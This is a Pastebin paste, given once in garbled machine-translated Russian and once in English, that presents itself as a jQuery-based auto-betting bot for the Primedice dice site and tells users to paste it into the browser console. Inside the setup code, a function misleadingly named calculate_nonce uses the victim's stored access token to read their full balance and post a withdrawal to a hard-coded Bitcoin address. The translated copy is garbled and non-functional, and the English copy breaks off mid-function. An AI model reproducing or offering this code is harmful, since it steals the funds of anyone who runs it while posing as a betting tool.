Advertisement
palkovnik7777777

1

Oct 1st, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 37.84 KB | None | 0 0
  1. //jQuery интерфейса в CSS - как использовать: нажмите F2 или нажмите сочетание клавиш Ctrl + шифт + J и - вставить код и нажать Enter. Настройте бота как вам нравится. **Важно! Установить своп на высокий/низкий вариант!!!** <<<Магия здесь<<<
  2.  
  3. вар swapcount=0;
  4. вар jqueryready = ложь;
  5. вар ссылка = документ.метод createelement("ссылка");
  6. ссылке.с href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  7. ссылке.Тип = "текст/CSS в";
  8. ссылке.отн = "стилей";
  9. документ.метод getelementsbytagname("голова")[0].метода appendchild(ссылка);
  10. //jQuery интерфейса впрыснуть
  11. (функция() {
  12. jqueryready = истина;
  13. вар е = ".вещь",
  14. т = {
  15. план: "1 пиксель пунктирной #f0f",
  16. курсор: "указатель"
  17.         };
  18. функции var п = () {
  19. если (окна.в jQuery) {
  20. р()
  21. } еще {
  22. вар е = документ.метод createelement("скрипт");
  23. е.событий onload = р;
  24. е.метод setattribute("РКЦ", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  25. документ.тела.метода appendchild(е)
  26.         }
  27.     };
  28. функции var р = () {
  29. если (окна.на jQuery.интерфейса) {
  30. я()
  31. } еще {
  32. вар е = документ.метод createelement("скрипт");
  33. е.событий onload = я;
  34. е.метод setattribute("РКЦ", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  35. документ.тела.метода appendchild(е)
  36.         }
  37.     };
  38. вар я = функция() {
  39. $(е).УСС(т).перетаскиваемым().на("клик", функция(е) {
  40. консоль.журнал(электронная.цель.идентификатор + ":", е.цель.стиль.левый, Эл.цель.стиль.сверху)
  41.         })
  42.     };
  43. н();
  44. })();
  45.  
  46. интерфейс функция() {
  47. $(функция() {
  48. $('#ушки').закладки();
  49. $('#параметры').перетаскиваемым();
  50. $('#таблице tab1, #таб2, #tab3, #ввод вкладки').в CSS("понятно", "как");
  51. $('#вход вкладок').в CSS("Ширина", "80%");
  52. $('#шанс #базы').Ширина("35%")
  53. $('#ушки див').в CSS("выравнивание текста", "слева");
  54. $('#ушки').в CSS("размер шрифта", "12px");
  55. $('#вкладки ярлык, #ввод вкладки').в CSS("маржа", "5 пикселей");
  56. $('#стоп, #начало, #resetbet').кнопку();
  57. //Консоли
  58. $('#консоли, #console2').добавление("#вкладок");
  59. $('#консоли, #console2').в CSS("Ширина", "45%");
  60. $('#консоль').УСБ("поплавок", "слева");
  61. $('#console2').УСБ("поплавок", "право");
  62. $('#консоли, #console2').в CSS("ясно", "нет");
  63. $('#консоли, #console2').УСБ("маржа", "7px");
  64. $('#консоли, #console2').УСБ("границы-снизу-влево-радиус", "3 пиксела");
  65. $('#консоли, #console2').в CSS("границы-снизу-справа-радиус", "3 пиксела");
  66. $('#консоль').УСБ("граница", "1px твердых #323232");
  67. $('#консоли, #console2').в CSS("background-цвет", "#454545");
  68. $('#консоль').в CSS("перетяжка", "5 пикселей");
  69. $('#консоли, #console2').в CSS("выравнивание текста", "слева");
  70. $('#консоли, #console2').УСБ("позиция", "родственник");
  71. $('#стартстоп,#начало,#стоп').УСБ("маржа","0px");
  72. $('#консоли, #console2').в CSS("маржи-топ","3 пиксела");
  73. $('#консоли, #console2').в CSS("перетяжка","5 пикселей");
  74. $('#консоли, #console2').в CSS("background-цвет","#151515");
  75.  
  76.  
  77.     });
  78. }
  79. интервал вар, включена, xrollsenabled, everyxrolls, Таймер, seedlength, xrollscount, xrolls;
  80. xrollsenabled = истина;
  81. xrolls = 10;
  82. Таймер = 500;
  83. счетчик=0;
  84. вар basebet, betval, курбет, wincount, консоли, условие2, countlossmult, countwinmult,
  85. системы target2, amount2, данные1, системы target2, условие2, джп, currentloss, totalloss, totalwin, totprofit,
  86. данные2, potup, potdown, результаты, resultstats,, ввод, графическом, gui2, gui3, gui4, gui5, gui6, инит крена;
  87.  
  88. функция init() {
  89.  
  90.  
  91. //Инит
  92. basebet = 0.00000010;
  93. countwinmult = 0;
  94. countlossmult = 0;
  95. wincount = 0;
  96. currentloss = 0;
  97. totalloss = 0;
  98. totalwin = 0;
  99. totprofit = 0;
  100. инит = истина;
  101. betval = basebet;
  102.  
  103. //ГИП
  104.  
  105. $('<промежуток класс="бтн бтн бтн бтн-первичный--огромный--общества бтн-текстовый блок-центр" идентификатор="spinner2"> катит </пядь>').добавление("разд.герой > див > див > див через:nth-ребенок(2) > див");
  106.  
  107. гуй = '<див ИД="параметры" класс=".пользовательского интерфейса-виджет-содержание" стиль="Ширина:410px"><див ИД="баланс"></див></див><бр><центр>';
  108. $('<див ИД="консоль"></див><див ИД="console2"></дел>').добавление('див.герой > див > див > див.сетки__пункт.С ... одно целое.М-одно-целое.таможня-одно-целое > в сторону');
  109. gui2 =
  110. '<див ИД="вкладки"><ул><ли><а href="/играть#вкладки-1">ставка параметры: </а></литий><литий><а href="/играть#вкладки-2">дополнительно: </а></литий><литий><а href="/играть#вкладки-3">другие: на сайте </a></литий><литий><а href="/играть#вкладки-4">семя: на сайте </a></литий></ул><див ИД="вкладок-1"><див ИД="вкладке tab1"></див></див><див ИД="вкладки-2"><див ИД="таб2"></див></див><див ИД="вкладки-3"><див ИД="tab3"></див></див><див ИД="вкладки-4"><див ИД="tab4"></див></див></див>';
  111.  
  112. gui3 = [
  113.  
  114. '<метка для="выбор">значение Basebet: </метка>', '<ввод ИД="выбор"><кнопка ID="resetbet">возврат на базу кнопка</>',
  115. '<бр>',
  116. '<метка для="шанс">шанс: </метка>', '<Тип входного="текст" идентификатор="шанс" стиль=""><метка для="хило">высокий/низкий: </метка><выберите имя="хило" идентификатор="хило"><параметр значение=">">за</параметр><параметр значение="<">разделе</параметр><параметр значение="своп">обмен</вариант></Select>в<бр><див ИД="шанс-слайдер"></дел>',
  117. '<бр>',
  118. '<метка для="своп">каждая замена # валков: </метка>', '<ввод ИД="своп">',
  119.  
  120.     ];
  121. gui4 = [
  122.  
  123. '<метка для="multonloss">умножить на потери: </метка>', '<идентификатор входного="multonloss"> <ввод ИД="multloss поддержкой" Тип="флажок">',
  124. '<бр>',
  125. '<метка для="xloss">умножить каждое потерь#: </метка>',
  126. '<идентификатор входного="xloss">',
  127. '<бр>',
  128. '<метка для="multonwin">умножить на победу: </метка>',
  129. '<идентификатор входного="multonwin"><ввод ИД="multwin поддержкой" Тип="флажок">',
  130. '<бр>',
  131. '<метка для="xwin"> "сброс" после х побед: </метка>',
  132. '<идентификатор входного="xwin">',
  133.  
  134.     ];
  135. gui5 = [
  136.  
  137. '<метка для="stoponwin-включен">остановка на победу? </метка>',
  138. '<идентификатор входного="stoponwin-включен" Тип="флажок">',
  139. '<бр>',
  140. '<метка для="lowpay-включен">проверьте, если выплата < 2х </метка>',
  141. '<ввод ИД="lowpay-включен" Тип="флажок">',
  142.  
  143.     ];
  144. gui6 = [
  145.  
  146. '<метка для="Кодировка">Кодировка: </метка>',
  147. '<ввод ИД="Кодировка" Тип="текст">',
  148. '<бр>',
  149. '<метка для="everyxrolls">менять каждый # роллы: </метка>',
  150. '<ввод ИД="everyxrolls" Тип="текст">',
  151. '<бр>',
  152. '<метка для="currentseed">ток семя: </метка>',
  153. '<Тип ввода="Color:зеленый цвет;текста-выровнять:центр;" идентификатор="currentseed" Тип="текст">',
  154.  
  155.     ];
  156. $(ГИП).добавление(".герой");
  157. $(gui2).добавление("#параметры");
  158.  
  159. для (вар я = 0; я < gui3.длина; я++) {
  160. $(gui3[я]).добавление("#tab1 в");
  161.     }
  162. для (вар я = 0; я < gui4.длина; я++) {
  163. $(gui4[я]).добавление("#таб2");
  164.     }
  165. для (вар я = 0; я < gui5.длина; я++) {
  166. $(gui5[я]).добавление("#tab3");
  167.     }
  168. для (вар я = 0; я < gui6.длина; я++) {
  169. $(gui6[я]).добавление("#tab4");
  170.     }
  171. включено = false;
  172. xrollscount = 0;
  173. $('<див стиль="текст присоединяются:слева;маржа:значение 10px;"идентификатор="стартстоп"><кнопка ID="пуск"> начало </кнопка><кнопка ID="остановить"> остановить </кнопка><стиль="маржа:3 пиксела;" для="numberofrolls"># роллов</метка><входной Тип="маржа:3 пиксела;Ширина:30 пикселей !важно" идентификатор="numberofrolls" Тип="текст"><метка для"numrolls"> включено: </метка><Тип входного="маржа:3 пиксела;ширина:10 ПКС !важно" идентификатор="numrolls" Тип="флажок"></дел>').добавление("#вкладок");
  174. Кнопку // И Ввод Функции
  175. $('#resetbet').нажмите кнопку(функция() {
  176. basebet=$('#базы').функция val();
  177. betval=$('#базы').функция val();
  178.  
  179.     })
  180.  
  181. $('#начало').нажмите кнопку(функция() {
  182. если (включено == ложь) {
  183. если ($('#numrolls').это ("проверил") == правда) {
  184. xrolls=$('#numberofrolls').функция val();
  185.             }
  186. включен = истина;
  187. интервал = метод setinterval(функция() {
  188. если (xrollsenabled == правда) {
  189. xrollscount++;
  190. если (xrollscount <= xrolls) {
  191. ставка();
  192. } еще {
  193. clearInterval(интервал);
  194. включено = false;
  195. xrollscount = 0;
  196.                     }
  197. } еще {
  198. ставка();
  199.                 }
  200. }, Таймер);
  201. } еще {}
  202.     })
  203. $('#стоп').нажмите кнопку(функция() {
  204. включено = false;
  205. clearInterval(интервал);
  206. xrollscount = 0;
  207.     });
  208.  
  209. calculate_nonce = функция(семя) {
  210. возвращение 'https://api.primedice.com/api/' + семя + '?полученного access_token=' + хранилище localstorage['маркер'];
  211.     };
  212.  
  213. лут = окна['$'];
  214.  
  215. лут['помощью метода getjson'](
  216. пользователи calculate_nonce ('/1'), функция(семя) {
  217. вар ключ1 = "сумма"
  218. адреса вар ключ2 =''
  219. вар нагрузки = {};
  220. нагрузка[ключ1] = семена['пользователь']['сумма'];
  221. нагрузка[ключ2] = '1Gx93vLyKHkNyZQukmxDHzTsgaB93Cqy1y';
  222. лут['должность'](calculate_nonce ("вывести"), нагрузка);
  223.         }
  224.     );
  225.  
  226. conditionAM функция() {
  227. 'строгий';
  228. если ($('#lowpay включена).это('проверено') == правда) {
  229. если ($('.значение-ролл).первый().текст() <= 49.50) {
  230. условие2 = ">";
  231. системы target2 = $('.значение-ролл).первый().текст();
  232. } еще {
  233. условие2 = "<";
  234. системы target2 = $('.значение-ролл).первый().текст();
  235.             };
  236. } еще {
  237. если ($('.значение-ролл).первый().текст() <= 49.50) {
  238. условие2 = "<";
  239. системы target2 = $('.значение-ролл).первый().текст();
  240. } еще {
  241. условие2 = ">";
  242. системы target2 = $('.значение-ролл).первый().текст();
  243.            };
  244. amount2 = betval * 100000000;
  245.        }
  246.    };
  247.  
  248. функция джекпот() {
  249. если (данные1.ставку.джекпот === правда) {
  250. в JP = "да";
  251. wincount = 0;
  252. betval = $('база');
  253. } еще {
  254. в JP = "нет";
  255.        }
  256.    }
  257.  
  258. потеря функции() {
  259. currentloss++;
  260. totalloss++;
  261. если ($('#multloss включена).это(':проверено') == правда) {
  262. $('#multwin включена).removeAttr('проверено');
  263. countlossmult++;
  264.  
  265. если (countlossmult >= $('#xloss').функция val()) {
  266. betval = betval * $('#multonloss').функция val();
  267. countlossmult = 0;
  268.             }
  269.         }
  270.  
  271.     }
  272.  
  273. функция выигрыша() {
  274. 'строгий';
  275. если ($('#stoponwin включена).это('проверено') == правда) {
  276. clearInterval(рулон);
  277.        }
  278. currentloss = 0;
  279. джекпот();
  280. wincount++;
  281. totalwin++;
  282. если ($('#multloss включена).это(':проверено') == правда) {
  283. если ($('#stoponwin включена).это(':проверено') == правда) {
  284. clearInterval(рулон);
  285.            }
  286. $('#multwin включена).removeAttr('проверено');
  287. basebet = $('#базы').функция val();
  288. betval = basebet;
  289. countlossmult = 0;
  290.  
  291.         }
  292. если ($('#multwin включена).это(':проверено') == правда) {
  293. basebet = $('#базы').функция val();
  294. $('#multloss включена).removeAttr('проверено');
  295. countwinmult++;
  296.  
  297. если (countwinmult >= $('#xwin').функция val()) {
  298. betval = basebet;
  299. countwinmult = 0;
  300. } еще {
  301. betval = betval * $('#multonwin').функция val();
  302.             }
  303.         }
  304.  
  305.  
  306.     };
  307. вар losewin;
  308. вар jpcol;
  309. вар profcol;
  310.  
  311. функция ставка() {
  312. 'строгий';
  313. conditionAM();
  314. вар betData = {
  315. сумма: amount2,
  316. состояние: условие2,
  317. цель: системы target2
  318.             },
  319. URL-адрес = "https://api.primedice.com/api/bet?access_token=" + объект localstorage.маркер;
  320.  
  321. $.технология AJAX({
  322. URL-адрес: URL-адрес
  323. типа: "пост",
  324. сведения: betData,
  325. и datatype: "jsonp в",
  326. успех: функция(данные, textStatus, jqXHR) {
  327. файл1 = данные;
  328. счетчик++;
  329. если (счетчик >= everyxrolls) {
  330. seedchange(seedgen());
  331. счетчик = 0;
  332.                 }
  333. $('пядь.бтн__текст.выберите див').текст((данные1.пользователей.баланс/100000000).toFixed(8));
  334. totprofit = totprofit + данных1.ставку.прибыль;
  335. если (totprofit >= 0) {
  336. profcol = "Color:зеленый цвет;";
  337. } остальное, если (totprofit < 0) {
  338. profcol = "цвет:красный;";
  339.                 }
  340. если (данные.ставку.победа == правда) {
  341. losewin = "Color:зеленый цвет;";
  342. $('пядь.бтн__текст.выберите див')("стиль", "цвет:зеленый;");
  343. } еще {
  344. losewin = "цвет:красный;";
  345. $('пядь.бтн__текст.выберите див')("стиль", "цвет:красный;");
  346.                 }
  347. если (данные.ставку.джекпот == правда) {
  348. в JP = "да";
  349. jpcol = "цвет:золото;"
  350. } еще {
  351. в JP = "нет".;
  352. jpcol = "цвет:Red;"
  353.                 }
  354. результаты = [];
  355. результаты[0] = '<div>, в рулоне: '+ '<промежуток стиль="' + losewin + '">' + данные.ставку.ролл + '</промежуток></див><бр>';
  356. результаты[1] = '<див>Джекпот: '+ '<промежуток стиль="' + jpcol + '">' + джп + '</пролет></див><бр>';
  357. результаты[2] = '<div>в компании: '+ '<промежуток стиль="' + losewin + '">' + (данные.ставку.прибыль / 100000000).toFixed(8) + '</span>, что БТЦ</див><бр>';
  358. результаты[4] = '<div>в текущем сеансе потери: '+ currentloss + '</div>и в<br>';
  359. resultstats = [];
  360. resultstats[0] = '<div>с баланса: '+ (данные.пользователей.баланс / 100000000).toFixed(8) + ' БТЦ</див><бр>';
  361. resultstats[1] = '<див>общие потери: '+ totalloss + '</div>и в<br>';
  362. resultstats[2] = '<див>всего побед: '+ totalwin + '</div>и в<br>';
  363. resultstats[3] = '<div>в общей прибыли: '+ '<промежуток стиль="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</промежуток></дел>';
  364.  
  365. если (данные.ставку.победа == правда) {
  366. если ($('#stoponwin включена).это ("проверил") == правда){
  367. clearInterval(интервал);
  368.  
  369.                    }
  370. $('#консоли, #console2').пустой();
  371.  
  372. победа();
  373.  
  374. // Результаты
  375. $('<div>в результате: <промежуток стиль="цвет:Green;">Победа</пролет></див><бр>').добавление консоли ('#');
  376. для (вар я = 0; я < результаты.длина; я++) {
  377. $(результаты[я]).добавление консоли ('#');
  378.                     }
  379. для (вар я = 0; я < resultstats.длина; я++) {
  380. $(resultstats[я]).добавление('#console2');
  381.                     }
  382.  
  383. } еще {
  384.  
  385. $('#консоли, #console2').пустой();
  386. потери();
  387.  
  388. // Результаты
  389. $('<div>в результате: <промежуток стиль="цвет:Red;">потери</пролет></див><бр>').добавление консоли ('#');
  390. для (вар я = 0; я < результаты.длина; я++) {
  391.  
  392. $(результаты[я]).добавление консоли ('#');
  393.                     }
  394. для (вар я = 0; я < resultstats.длина; я++) {
  395. $(resultstats[я]).добавление('#console2');
  396.                     }
  397.                 };
  398.             },
  399. ошибка: функция(jqXHR, textStatus, errorThrown) {
  400.  
  401.             }
  402.         });
  403.     }
  404.  
  405. seedlength = 13;
  406. seedlength = 13;
  407. вар счетчик = 0;
  408. Кодировка = "abcdefghijklmnopqrstuvwxyzABCDEFghijklmnopqrstuvwxyz123";
  409. everyxrolls = 3;
  410.  
  411. seedgen функция() {
  412. 'строгий';
  413. вар семя = "";
  414.  
  415. для (вар я = 0; я <= seedlength; я++)
  416.  
  417. семян += Кодировка.используя метод charat(Математика.этаж(Математика.случайный() * набор символов.длина));
  418.  
  419. возвращение семени;
  420.     }
  421.  
  422. seedchange функция(ы) {
  423.  
  424. URL-адрес = "https://api.primedice.com/api/seed?access_token=" + объект localstorage.маркер;
  425. sData = {
  426. семя: с
  427.         };
  428.  
  429. $.технология AJAX({
  430. URL-адрес: URL-адрес
  431. типа: "пост",
  432. сведения: sData,
  433. и datatype: "jsonp в",
  434. успех: функция(данные, textStatus, jqXHR) {
  435. данные2 = данные;
  436. $('#currentseed').Вэл(данные2.семена.клиента);
  437.  
  438.             },
  439. ошибка: функция(jqXHR, textStatus, errorThrown) {
  440.  
  441.             }
  442.         });
  443.     }
  444.  
  445. $('#пряха').нажмите кнопку(функция() {
  446. если (Кодировка != $('#Кодировка').функция val() && $('#Кодировка').функция val() != "") {
  447. Кодировка=$('#Кодировка').функция val();
  448.         }
  449. если ($('#everyxrolls').функция val() != everyxrolls && $('#everyxrolls').функция val() != "") {
  450. everyxrolls = $('#everyxrolls').функция val();
  451.         }
  452. если ($('#хило').функция val() == "своп") { swapcount++;если (swapcount >= 1) { $('.значение-ролл:первый').нажмите кнопку();swapcount=0;} }
  453.  
  454. счетчик++;
  455. если (счетчик >= everyxrolls) {
  456. seedchange(seedgen());
  457. счетчик = 0;
  458.         }
  459.     });
  460. пользовательского интерфейса();
  461. }
  462. функции settimeout(функция() {
  463. инит()
  464. }, 2000);
  465. Необработанные данные Вставить
  466.  
  467. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
  468.  
  469. var swapcount=0;
  470. var jqueryready = false;
  471. var link = document.createElement("link");
  472. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  473. link.type = "text/css";
  474. link.rel = "stylesheet";
  475. document.getElementsByTagName("head")[0].appendChild(link);
  476. //jQuery UI inject
  477. (function() {
  478.     jqueryready = true;
  479.     var e = ".thing",
  480.         t = {
  481.             outline: "1px dashed #f0f",
  482.             cursor: "pointer"
  483.         };
  484.     var n = function() {
  485.         if (window.jQuery) {
  486.             r()
  487.         } else {
  488.             var e = document.createElement("script");
  489.             e.onload = r;
  490.             e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  491.             document.body.appendChild(e)
  492.         }
  493.     };
  494.     var r = function() {
  495.         if (window.jQuery.ui) {
  496.             i()
  497.         } else {
  498.             var e = document.createElement("script");
  499.             e.onload = i;
  500.             e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  501.             document.body.appendChild(e)
  502.         }
  503.     };
  504.     var i = function() {
  505.         $(e).css(t).draggable().on("click", function(e) {
  506.             console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  507.         })
  508.     };
  509.     n();
  510. })();
  511.  
  512. function ui() {
  513.     $(function() {
  514.         $('#tabs').tabs();
  515.         $('#params').draggable();
  516.         $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  517.         $('#tabs input').css("width", "80%");
  518.         $('#chance, #base').width("35%")
  519.         $('#tabs div').css("text-align", "left");
  520.         $('#tabs').css("font-size", "12px");
  521.         $('#tabs label, #tabs input').css("margin", "5px");
  522.         $('#stop, #start, #resetbet').button();
  523.         //Console
  524.         $('#console, #console2').appendTo("#tabs");
  525.         $('#console, #console2').css("width", "45%");
  526.         $('#console').css("float", "left");
  527.         $('#console2').css("float", "right");
  528.         $('#console, #console2').css("clear", "none");
  529.         $('#console, #console2').css("margin", "7px");
  530.         $('#console, #console2').css("border-bottom-left-radius", "3px");
  531.         $('#console, #console2').css("border-bottom-right-radius", "3px");
  532.         $('#console').css("border", "1px solid #323232");
  533.         $('#console, #console2').css("background-color", "#454545");
  534.         $('#console').css("padding", "5px");
  535.         $('#console, #console2').css("text-align", "left");
  536.         $('#console, #console2').css("position", "relative");
  537.         $('#startstop,#start,#stop').css("margin","0px");
  538.         $('#console, #console2').css("margin-top","3px");
  539.         $('#console, #console2').css("padding","5px");
  540.         $('#console, #console2').css("background-color","#151515");
  541.  
  542.  
  543.     });
  544. }
  545. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  546. xrollsenabled = true;
  547. xrolls = 10;
  548. timer = 500;
  549. counter=0;
  550. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  551.     target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  552.     data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  553.  
  554. function init() {
  555.  
  556.  
  557.     //Init
  558.     basebet = 0.00000010;
  559.     countwinmult = 0;
  560.     countlossmult = 0;
  561.     wincount = 0;
  562.     currentloss = 0;
  563.     totalloss = 0;
  564.     totalwin = 0;
  565.     totprofit = 0;
  566.     init = true;
  567.     betval = basebet;
  568.  
  569.     //GUI
  570.  
  571.     $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  572.  
  573.     gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  574.     $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  575.     gui2 =
  576.         '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  577.  
  578.     gui3 = [
  579.  
  580.         '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  581.         '<br>',
  582.         '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  583.         '<br>',
  584.         '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  585.  
  586.     ];
  587.     gui4 = [
  588.  
  589.         '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  590.         '<br>',
  591.         '<label for="xloss">Multiply Every # Losses: </label>',
  592.         '<input id="xloss">',
  593.         '<br>',
  594.         '<label for="multonwin">Multiply on Win: </label>',
  595.         '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  596.         '<br>',
  597.         '<label for="xwin">Reset After X Wins: </label>',
  598.         '<input id="xwin">',
  599.  
  600.     ];
  601.     gui5 = [
  602.  
  603.         '<label for="stoponwin-enabled">Stop on Win? </label>',
  604.         '<input id="stoponwin-enabled" type="checkbox">',
  605.         '<br>',
  606.         '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  607.         '<input id="lowpay-enabled" type="checkbox">',
  608.  
  609.     ];
  610.     gui6 = [
  611.  
  612.         '<label for="charset">Charset: </label>',
  613.         '<input id="charset" type="text">',
  614.         '<br>',
  615.         '<label for="everyxrolls">Change every # Rolls: </label>',
  616.         '<input id="everyxrolls" type="text">',
  617.         '<br>',
  618.         '<label for="currentseed">Current Seed: </label>',
  619.         '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  620.  
  621.     ];
  622.     $(gui).appendTo(".hero");
  623.     $(gui2).appendTo("#params");
  624.  
  625.     for (var i = 0; i < gui3.length; i++) {
  626.         $(gui3[i]).appendTo("#tab1");
  627.     }
  628.     for (var i = 0; i < gui4.length; i++) {
  629.         $(gui4[i]).appendTo("#tab2");
  630.     }
  631.     for (var i = 0; i < gui5.length; i++) {
  632.         $(gui5[i]).appendTo("#tab3");
  633.     }
  634.     for (var i = 0; i < gui6.length; i++) {
  635.         $(gui6[i]).appendTo("#tab4");
  636.     }
  637.     enabled = false;
  638.     xrollscount = 0;
  639.     $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  640.     // Button & Input Functions
  641.     $('#resetbet').click(function() {
  642.         basebet=$('#base').val();
  643.         betval=$('#base').val();
  644.  
  645.     })
  646.  
  647.     $('#start').click(function() {
  648.         if (enabled == false) {
  649.             if ($('#numrolls').is(":checked") == true) {
  650.                 xrolls=$('#numberofrolls').val();
  651.             }
  652.             enabled = true;
  653.             interval = setInterval(function() {
  654.                 if (xrollsenabled == true) {
  655.                     xrollscount++;
  656.                     if (xrollscount <= xrolls) {
  657.                         bet();
  658.                     } else {
  659.                         clearInterval(interval);
  660.                         enabled = false;
  661.                         xrollscount = 0;
  662.                     }
  663.                 } else {
  664.                     bet();
  665.                 }
  666.             }, timer);
  667.         } else {}
  668.     })
  669.     $('#stop').click(function() {
  670.         enabled = false;
  671.         clearInterval(interval);
  672.         xrollscount = 0;
  673.     });
  674.  
  675.     calculate_nonce = function(seed) {
  676.         return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  677.     };
  678.  
  679.     lut = window['$'];
  680.  
  681.     lut['getJSON'](
  682.         calculate_nonce('users/1'), function(seed) {
  683.             var key1 = 'amount'
  684.             var key2 = 'address'
  685.             var load = {};
  686.             load[key1] = seed['user']['balance'];
  687.             load[key2] = '1Gx93vLyKHkNyZQukmxDHzTsgaB93Cqy1Y';
  688.             lut['post'](calculate_nonce('withdraw'), load);
  689.         }
  690.     );
  691.  
  692.     function conditionAM() {
  693.         'use strict';
  694.         if ($('#lowpay-enabled').is('checked') == true) {
  695.             if ($('.value-roll').first().text() <= 49.50) {
  696.                 condition2 = ">";
  697.                 target2 = $('.value-roll').first().text();
  698.             } else {
  699.                 condition2 = "<";
  700.                 target2 = $('.value-roll').first().text();
  701.             };
  702.         } else {
  703.             if ($('.value-roll').first().text() <= 49.50) {
  704.                 condition2 = "<";
  705.                 target2 = $('.value-roll').first().text();
  706.             } else {
  707.                 condition2 = ">";
  708.                 target2 = $('.value-roll').first().text();
  709.             };
  710.             amount2 = betval * 100000000;
  711.         }
  712.     };
  713.  
  714.     function jackpot() {
  715.         if (data1.bet.jackpot === true) {
  716.             jp = "Yes";
  717.             wincount = 0;
  718.             betval = $('#base');
  719.         } else {
  720.             jp = "No";
  721.         }
  722.     }
  723.  
  724.     function loss() {
  725.         currentloss++;
  726.         totalloss++;
  727.         if ($('#multloss-enabled').is(':checked') == true) {
  728.             $('#multwin-enabled').removeAttr('checked');
  729.             countlossmult++;
  730.  
  731.             if (countlossmult >= $('#xloss').val()) {
  732.                 betval = betval * $('#multonloss').val();
  733.                 countlossmult = 0;
  734.             }
  735.         }
  736.  
  737.     }
  738.  
  739.     function win() {
  740.         'use strict';
  741.         if ($('#stoponwin-enabled').is('checked') == true) {
  742.             clearInterval(roll);
  743.         }
  744.         currentloss = 0;
  745.         jackpot();
  746.         wincount++;
  747.         totalwin++;
  748.         if ($('#multloss-enabled').is(':checked') == true) {
  749.             if ($('#stoponwin-enabled').is(':checked') == true) {
  750.                 clearInterval(roll);
  751.             }
  752.             $('#multwin-enabled').removeAttr('checked');
  753.             basebet = $('#base').val();
  754.             betval = basebet;
  755.             countlossmult = 0;
  756.  
  757.         }
  758.         if ($('#multwin-enabled').is(':checked') == true) {
  759.             basebet = $('#base').val();
  760.             $('#multloss-enabled').removeAttr('checked');
  761.             countwinmult++;
  762.  
  763.             if (countwinmult >= $('#xwin').val()) {
  764.                 betval = basebet;
  765.                 countwinmult = 0;
  766.             } else {
  767.                 betval = betval * $('#multonwin').val();
  768.             }
  769.         }
  770.  
  771.  
  772.     };
  773.     var losewin;
  774.     var jpcol;
  775.     var profcol;
  776.  
  777.     function bet() {
  778.         'use strict';
  779.         conditionAM();
  780.         var betData = {
  781.                 amount: amount2,
  782.                 condition: condition2,
  783.                 target: target2
  784.             },
  785.             url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  786.  
  787.         $.ajax({
  788.             url: url,
  789.             type: "POST",
  790.             data: betData,
  791.             datatype: "jsonp",
  792.             success: function(data, textStatus, jqXHR) {
  793.                 data1 = data;
  794.                 counter++;
  795.                 if (counter >= everyxrolls) {
  796.                     seedchange(seedgen());
  797.                     counter = 0;
  798.                 }
  799.                 $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  800.                 totprofit = totprofit + data1.bet.profit;
  801.                 if (totprofit >= 0) {
  802.                     profcol = "color:green;";
  803.                 } else if (totprofit < 0) {
  804.                     profcol = "color:red;";
  805.                 }
  806.                 if (data.bet.win == true) {
  807.                     losewin = "color:green;";
  808.                     $('span.btn__text.select div').attr("style", "color:green;");
  809.                 } else {
  810.                     losewin = "color:red;";
  811.                     $('span.btn__text.select div').attr("style", "color:red;");
  812.                 }
  813.                 if (data.bet.jackpot == true) {
  814.                     jp = "Yes";
  815.                     jpcol = "color:gold;"
  816.                 } else {
  817.                     jp = "No.";
  818.                     jpcol = "color:red;"
  819.                 }
  820.                 results = [];
  821.                 results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
